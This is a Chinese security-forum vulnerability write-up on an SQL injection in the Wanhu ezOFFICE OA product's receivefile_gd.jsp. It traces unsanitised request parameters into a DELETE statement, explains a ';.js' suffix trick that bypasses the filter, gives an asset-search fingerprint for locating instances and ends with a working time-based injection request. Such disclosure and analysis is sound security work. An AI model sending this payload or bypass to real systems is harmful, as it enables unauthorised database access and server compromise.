问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
万户oa中receivefile_gd存在SQL注入
漏洞分析
万户oa中receivefile_gd存在SQL注入
简介 -- 万户OA ezofice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。万户 ezOFFICE receivefile gd.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可 获取服务器权限。 漏洞分析 ---- 首先进入到modules/govoffice/gov\_documentmanager/receivefile\_gd.jsp下  在105-111行有如下代码 ```php java.util.Map myParaTmp \= new java.util.HashMap();//创建一个HashMap数组 //依次接受请求中的recordId、tableId、processId、workId参数之后放入到数组中 myParaTmp.put("recordId",request.getParameter("recordId")); myParaTmp.put("tableId",request.getParameter("tableId")); myParaTmp.put("processId",request.getParameter("processId")); myParaTmp.put("workId",request.getParameter("workId")); com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD myUfbdTemp \= new com.whir.ezoffice.workflow.newBD.WorkFlowButtonBD(); myUfbdTemp.delWFOnlineUser(myParaTmp);//调用delWFOnlineUser方法进行数据库相关的删除操作 ``` 需要注意的是上述代码是在else语句中,需要满足gb参数为空才可以,代码如下  接着进入到`WorkFlowButtonBD`下的delWFOnlineUser方法中  该方法首先创建了一个ParameterGenerator对象pg,之后将参数para传入到pg中,接着就是创建了一个代理类EJBProxy对象用于访问名为`WorkFlowButtonEJB`的EJB组件,通过反射方式调用delWFOnlineUser方法 接着进入到`com.whir.ezoffice.workflow.newEJB.WorkFlowButtonEJBBean`的`delWFOnlineUser`中 ```php public void delWFOnlineUser(Map map) throws Exception { begin(); try { try { this.stmt.execute("delete from wf\_onlineuser where recordId=" + map.get("recordId") + " and tableId=" + map.get("tableId") + " and processId=" + map.get(FormContants.WF\_PROCESS\_ID) + " and workId=" + map.get("workId")); end(); } catch (Exception e) { System.out.println("----------------------------------------------"); e.printStackTrace(); System.out.println("----------------------------------------------"); throw e; } } catch (Throwable th) { end(); throw th; } } ``` 该方法就是获取map参数中`recordId`、`tableId`、`FormContants.WF_PROCESS_ID`、`workId`参数组成sql语句,之后直接调用stmt.execute方法执行sql语句,因为全程没有对sql语句进行任何敏感信息的过滤进而造成了sql 要注意的是在web.xml中会对所有的路由进行`SetCharacterEncodingFilter`类的过滤处理  进入`SetCharacterEncodingFilter`类中开始分析  首先就是`rootPath`获取到根目录 `substring`获取到整个路由 接着继续走,`substring2`获取到路由的后缀,当后缀名为.jspx时就会跳转到/defaultroot/login.jsp  当后缀匹配到如下后缀时会进行不同的重定向操作 ```php (substring2.equals("") || substring2.equals(".jsp") || substring2.equals(".vm")) && this.needSecurity && substring.indexOf("/evo/weixin/") < 0 && substring.indexOf("/portal/") < 0 && substring.indexOf("/upgrade/") < 0 && substring.indexOf("/public/edit/") < 0 && !securityList.getNosessionWhiteList().contains(substring) ``` 接着走,当请求体中有referer时,就会将取值赋值给str2,接下来就是根据z的取值以及后缀进行判断,当后缀名为.jsp;.js来访问时if结果就为false,不会直接return使得程序直接继续向下执行直到最后都没有重定向发操作直接访问到原始路由  因此在访问路由的时候加入`;.js`可以很好的绕过过滤 资产测绘 ---- app="万户ezOFFICE协同管理平台"  漏洞复现 ---- ### poc ```php GET /defaultroot/modules/govoffice/gov\_documentmanager/receivefile\_gd.jsp;.js?recordId=1;waitfor+delay+'0:0:6'--+- HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml ``` 
发表于 2024-08-30 10:00:03
阅读 ( 8363 )
分类:
OA产品
1 推荐
收藏
0 条评论
请先
登录
后评论
xhys
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!